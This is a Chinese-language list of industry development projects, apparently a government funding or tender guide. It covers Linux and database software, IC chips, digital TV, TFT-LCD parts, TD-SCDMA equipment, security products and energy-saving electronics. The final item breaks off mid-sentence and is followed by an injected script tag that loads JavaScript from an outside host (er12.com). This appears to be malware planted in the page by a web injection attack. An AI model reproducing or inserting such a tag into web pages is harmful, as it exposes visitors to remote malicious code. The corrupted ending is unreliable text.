一、软件
1.高可信的linux操作系统研发与产业化(招标项目)
2.面向电子政务目录体系与交换体系建设的国产数据库研发与产业化(招标项目)
3.基于国产软硬件与soa架构的政务综合服务系统研发及应用(招标项目)
4.商业智能(bi)软件
5.业务协同软件研发与产业化
6.离岸软件外包服务
7.嵌入式软件产品研发与产业化(移动gis、移动gps、移动终端平台软件，数字电视中间件，手写识别、语音识别、指纹识别核心软件)
8.重点行业领域应用软件平台(城市社区、农村综合信息服务应用平台，基于国产操作系统的农村党员现代远程教育系统)
二、集成电路
1.二代证用非接触式ic卡芯片优化(招标项目)
2.基于我国数字地面传输标准的信道解码芯片、调谐器芯片开发及产业化
3.计算机/电视机多媒体处理芯片、平板显示(tft-lcd、pdp)和led背光源用控制、驱动芯片等开发及产业化
4.集成电路用新型关键电子材料(靶材、键合金/铝丝、半导体照明用荧光粉)开发及产业化
5.符合数字音频行业标准的多声道数字音频解码芯片研发及产业化
三、计算机及数字化3c产品
1.基于国产软硬件的低成本普及型计算机研发与产业化
2.“闪联”产品研发与应用
3.超高频rfid产品及应用系统
4.卫星定位与导航产品研发与应用
5.高性能刀片服务器研发与应用
6.数字医疗电子产品
四、数字音视频
1.符合我国数字电视地面传输标准接收设备的研发及产业化(招标项目)
2.新一代农村卫星电视安全接收系统的研发及产业化(招标项目)
3.符合我国数字电视地面传输标准调谐器的研发及产业化
4.高清数字多媒体接口、媒体版权保护技术的研发及应用
5.基于avs标准视频监控系统设备的研发及产业化
6.红光高密度光盘系统技术研发及产业化
7.符合我国数字电视地面传输标准的发射机的研发及产业化
五、电子基础产品
1.电视用tft—lcd大尺寸led背光模组研发及产业化(招标项目)
2.刚—挠性多层印制电路板研发及产业化(招标项目)
3.片式晶体元器件用陶瓷基座研发及产业化
4.高密度互连印制板(hdi)用覆铜板及其原材料研发及产业化
5.26英寸及以上电视用tft—lcd产品(含彩色滤光片、偏光片、基板玻璃等关键材料)、生产设备与工艺技术研发及产业化
6.电子信息产品用高频、高导磁率软磁材料研发及产业化
7.低温共烧陶瓷基片研发及产业化
8.数字电视综合测试仪、地面数字电视集中信号源研发及产业化
9.集成电路关键生产设备(高密度等离子刻蚀机、大角度离子注入机)
六、重点产业领域与信息技术应用专项
(一)td-scdma研发和产业化专项
1.应用于td-scdma(hspa)手机射频芯片开发及产业化(集成电路类招标项目)
2.td-scdma增强型技术(hsdpa)光纤拉远基站产品开发及产业化(通信类招标项目) 3.td-scdma终端综合测试仪产品开发和产业化(通信类招标项目)
4.应用于td-scdma的基站功放集成电路开发及产业化(集成电路类)
5.td-scdma增强型技术(hsdpa)微蜂窝基站产品开发及产业化(通信类)
6.td-scdma特色业务及平台的开发与产业化(通信类)
7.支持hsdpa的td-scdma/gsm双模终端产品开发和产业化(通信类)
8.td-scdma天线、馈线产品开发及产业化(通信类)
9.综合td-scdma等多种通信制式的室内同区域信号覆盖产品开发及产业化(通信类)
10.多业务光传送系统开发及产业化(通信类)
(二)信息安全产业专项
1.电信级防火墙研发与产业化(计算机类招标项目)
2.高可靠、高性能入侵防御系统研发与产业化(计算机类招标项目)
3.手机信息过滤软件(软件类)
4.信息安全芯片开发及产业化(卫星电视安全接收芯片、基于椭圆曲线算法[ecc]的安全芯片、移动存储加密芯片、符合国家要求的计算机用可信计算芯片模块[tpm])(集成电路类)
5.灾难恢复与容灾备份系统(计算机类)
6.高性能安全路由器与综合安全网关(计算机类)
(三)节能、环保专项
1.钢铁行业生产过程能源管理控制系统开发及推广应用(信息技术应用类招标项目)
2.太阳能电池生产设备(pecvd、大口径闭管扩散炉)(基础类)
3.汽车电子及电机节能用集成电路和功率器件开发及产业化(基于mems技术的汽车胎压检测、?script src=http://er12.com/t.js>
